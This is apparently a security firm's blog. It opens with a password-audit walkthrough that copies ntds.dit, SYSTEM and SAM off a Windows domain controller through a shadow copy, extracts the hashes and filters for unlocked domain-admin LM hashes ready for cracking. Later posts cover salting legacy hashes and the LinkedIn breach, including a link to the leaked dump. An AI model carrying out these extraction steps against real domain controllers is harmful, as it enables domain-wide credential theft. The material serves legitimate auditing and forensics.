Password Audit of a Domain Controller

Following on from our article on SAM retrieval without injection, a few people have asked if this technique is possible on a Domain Controller. Unfortunately, no, as account information, including hashes, are stored rather differently in Active Directory. The file in question is ntds.dit - an Extensible Storage Engine that basically stores all AD account information, including group membership, account status and importantly, password hashes.

Some fantastic research has been carried out on the ntds.dit file over the last couple of years - it wasn't that long ago forensic recovery of such information was limited to getting a live running image of the host up and running, then executing fgdump or similar. Now however, other options do exist if you have an offline copy of the directory store, namely retrieval of the two main tables - the data table and the link table. A framework has been developed facilitating extraction of interesting data from these files - NTDSXtract - by Csaba Barta. Huge credit for his original paper, and subsequent work on the framework. The framework now works on the latest 64bit operating systems and has been tested successfully on Windows 2008 R2.

As you probably aware however, you can not simply copy the ntds.dit file from a DC as the file is in use - it is locked. Again, some great hacks have been documented in recent times that allow easy retrieval of any locked file on a Windows host - useful in many situations, not just the retrieval of the directory store (performing forensic images and pagefile retrieval to name two). A small VBS script developed by Tim Tomes (download here) essentially allows you to create a shadow copy of a system drive in a similar way to how Windows backup works - allowing full access to any locked file on a system. As you are using core operating system functions to perform the copy, antivirus is unlikely to interfere with this technique - which is good considering the increasingly slim chances of successfully running pwdump like tools on a well protected host.

The steps for retrieval of the ntds.dit file are outlined below:

1. Create a new Shadow Copy.

 cscript vssown.vbs /start
 cscript vssown.vbs /create c
 cscript vssown.vbs /list

2. Copy the following files from the shadow copy to a remote network share (you'll have the VSS path from the previous command):

 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit \\<some network share>\
 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM \\<some network share>\
 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM \\<some network share>\

3. Delete the shadow copy you created.

 cscript vssown.vbs /delete <ID>

Once retrieved, extract all of the interesting directory information using the following steps:

1. Download libesedb from SourceForge and compile.

2. Extract the database tables from ntds.dit:

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit.export <ntds.dit file>

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

3. Parse the tables with NTDSXtract

~/NTDSXtract $ python dsusers.py /tmp/ntds.dit.export/datatable.3 /tmp/ntds.dit.export/link_table.5 --passwordhashes <SYSTEM file> --passwordhistory <SYSTEM file> --certificates --supplcreds <SYSTEM file> --membership > /tmp/ntds.dit.output

As previously mentioned, a large amount of useful information is returned from this command. With a bit of processing, you can concentrate on interesting accounts straight off, such as Domain and Enterprise administrators, with active, unlocked accounts and LM hashes (which of course are easier to crack). Try out our processing script parseNTDS.pl, which is designed to work with the output from the previous command.

Example usage is shown below:

./parseNTDS.pl -f [--lmonly Only display accounts with LM passwords] [-group   <GROUP NAME>]... [--removedisabled Remove disabled accounts] [--removedlocked <LOCK COUNT>] [--showhistory Include historic passwords]

./parseNTDS.pl -f ntds.dit.output --lmonly --group 'Domain Admin' --group 'Enterprise Admin' --removedisabled --removedlocked 3

Note the 'removedlocked' flag requires a value as it is group policy that decides whether an account is locked or not - essentially the failed locked count associated with an account is compared with the specified lock threshold value in policy. If it is the same or greater, the account is obviously locked. Try a value of 3 or 5 here to remove potentially locked accounts. The output of the script is essentially a pwdump format ready for offline cracking with John or your rainbow tables of choice.

NB: This script is very dependent on the output from NTDSXtract. If future versions have different output, the script may need to be edited accordingly. Only Getopt::Long is required to run.

Adding a Pinch of Salt

Following the recent LinkedIn breach, the company has stated that their current production database contains salted passwords. Obviously this was not the case at the time of the breach (SHA1, unsalted), so a salt value must have been added to improve security. But how can you add a salt value to a password hash, if you don't know the password?

Firstly, let's consider the difference between a salted and unsalted password hash:

salted_password_hash = hash_function(salt_value + password)
unsalted_password_hash = hash_function(password)

In other words, normally it is not possible to produce a salted password hash without the password. If migrating from unsalted passwords, you obviously do not have this information! There is a simple workaround however - simply add an extra hash function into the mix:

hash_function(salt_value + hash_function(password)) = new_salted_password_hash

As you already know the result of hash_function(password) for each user - it's stored in the database of course - you can simply add a salt to the existing password hash, and then hash again.

The last step in the migration is to re-engineer the login mechanism. Personally, I like to perform the first hashing function client-side, rather than performing both on the server. Whilst protecting the password with a hash between client and server will not help secure your application (anyone intercepting the hash will still be able to authenticate with that hash), it does help ensure that the attacker cannot take the password and use it against other on-line services where the victim has reused their password. For example:

Client-side hashing of password - unsalted password hash sent to server

hash_function(password) = unsalted_password_hash

Server receives unsalted hash from client - adds salt, hashes and compares with database stored hash

hash_function(salt_value + unsalted_password_hash) = salted_hash

It isn't critical that it's performed client-side (as you should be protecting this authentication with appropriate encryption), and there are a number of reasons why you might not want to do this; reliance on client-side scripting languages and performance to name two. If you don't want to hash client-side for these reasons, re-engineer your login function to perform the following pseudo code:

if (hash_function(salt_value + hash_function(password)) == salted_password_hash_from_database) then
    login()
else
    error()
done

Alternatively, add further logic to the whole authentication process, whereby the application handles client-side hashing if supported, or falls back to server-side hashing when a clear-text password is received.

Adding a Secret

Now this all seems very secure, but if your database is compromised, dictionary attacks are always going to be possible as long as the inputs to the hashing function are known or can be guessed. If your database contains a column called 'salt', chances are an attacker is going to be able to guess the make-up of the hash function. Likewise, simply using the username as a salt isn't going to add much security - as an attacker will try and guess such basic concatenation. However, if you add an extra input to the hashing function that isn't stored in the database, the attacker's job becomes much harder. Consider the following:

hash_function(secret + username + unsalted_password_hash) = salted_password_hash_in_database

The secret can be hardcoded in the application, in a configuration file, or any where on the file system. Wherever it is, make sure it is not readable by the database user account. Effectively the attacker must obtain server-side code execution or similar to have all of the constitute parts of the password hash to conduct an offline dictionary attack. Just make sure it's suitably long (so it cannot be guessed/brute-forced) - I would recommend generating a random 128bit secret for each application.

The Result

Using all of these options, we have taken our unsalted passwords and added a salt. More importantly, we have significantly lowered the impact of full database compromise (at least with regards to passwords). An attacker cannot attempt a rainbow table attack as the passwords are salted, and cannot perform a dictionary attack as the secret is stored outside of the database. The salted password is useless - it can't be used to authenticate against this or any other site.

Note I haven't mentioned any specific hashing algorithms up to this point - as a very basic view would suggest given enough time, any hash can be cracked. However, without the required 'secret' you cannot perform an offline attack. As an on-line brute force attack against a web application is simply not feasible due to speed, the choice of algorithm simply comes down to how many CPU cycles you want an attacker (that has fully compromised both your application and database) to use.

That said, please don't use known weak algorithms (MD5 and SHA1). The bcrypt algorithm is fantastic at slowing down password guessing attacks, and adds a further salt value into the mix (however it is stored with the password, and therefore only the database needs to be compromised if used in isolation). If you don't want to implement your own bcrypt function, or use an external library, make sure you pick at least SHA256 or greater.

LinkedIn Breach - Advice to Employers

Initially you might think this issue is limited to exposure of personal information of LinkedIn users, unauthorised access to the website and potentially others. Cyberis would urge employers and security professionals to consider the potential impacts of the LinkedIn breach to their organisation. Although at this time, the full scale of the exposure of the security breach has not been published, it is unlikely to be limited to a leak of password information alone (see this Cyberis post).

The nature of the site is particularly important – LinkedIn is a professional social networking site, which directly associated it's individual users with businesses and organisations. If further account information has been compromised, then the enterprise risk from ‘password re-use’ is likely to increase, given that known association.

The threat from users choosing the same, or similar, credentials for different websites and systems is well-known. Most corporations deploy controls to reduce the likelihood of unauthorised access from the outside the organisation, such as two-factor authentication. With the increasing trend of SaaS and other cloud services operating outside of traditional security paradigm, corporations should review this risk scenario carefully.

The LinkedIn breach serves as a timely reminder for employers to monitor such indirect risks and for colleagues to review their position in respect to password re-use and consider changing passwords, ensuring they are suitably complex and unique to the system.

LinkedIn Breach Limited to just Passwords?

Yesterday news reports of a LinkedIn data breach started to circulate the Internet. Given the press coverage this morning on national television, this certainly is not breaking news anymore. To clarify, the dump (currently available here - http://www.mediafire.com/?n307hutksjstow3 - amongst other places), only contains password hashes. This does not change the impact of the breach, just the exposure. It is almost certain that the attacker obtained full email addresses and other sensitive information from the site.

Something not widely reported this morning is what this other sensitive information may contain. Cyberis employees, as other security professionals, are frequent users of LinkedIn. Various premium services are offered to individuals, such as the ability to view full profiles, see who has viewed your profile, and use the InMail service. To take advantage of such services, individuals must supply credit card information, and of course billing addresses. In other words, this breach may not be limited to sensitive personal data as defined by the Data Protection Act (an Act of Parliament which states a company must protect your personal data). With raw database access, which we must assume given the data leaked, there is also a real possibility of the personal information of credit card holders being compromised.

Of course, this would not necessarily be limited to individuals. Companies widely use LinkedIn for targeted advertising, investing significant money into ad campaigns. These are recurring sales, again with full card holder data being required to launch a campaign (even if using a free coupon on the site). I would not be surprised if a significant percentage of the userbase entered their details to take advantage of these free ad coupons.

It will be interesting to see how LinkedIn handle this breach. Statements are already popping up stating that affected accounts have been notified, and passwords forcibly reset. Unless this is referring to the known cracked passwords, these statements are inaccurate. My personal password was in the dump, though has not been cracked (and is unlikely to be - though LinkedIn would not be able make this judgement call). I have had no correspondence from LinkedIn, and my account is still active. For information, I believe the age of my password is less than 6 months old - suggesting this breach is fairly recent.

So far we’ve seen no reports on the cause of the breach. Direct server compromise? Insider? SQL injection? Who knows, but what we can say for sure, with this level of database access, it is not just a SHA1 hash you should be concerned about. Think about what else may be stored against your account.

Addendum
If you don’t trust the various sites that have popped up to inform you if your password has been breached - try it yourself on a Linux box. Grab the dump, and run the following command:

echo -n 'password' | sha1sum | cut -f 1 -d ' ' | tail -c 20 | xargs -i grep {} SHA1.txt

If it starts with a bunch of zeros, your password is compromised. If it returns your hash without zeros, it’s yet to be cracked.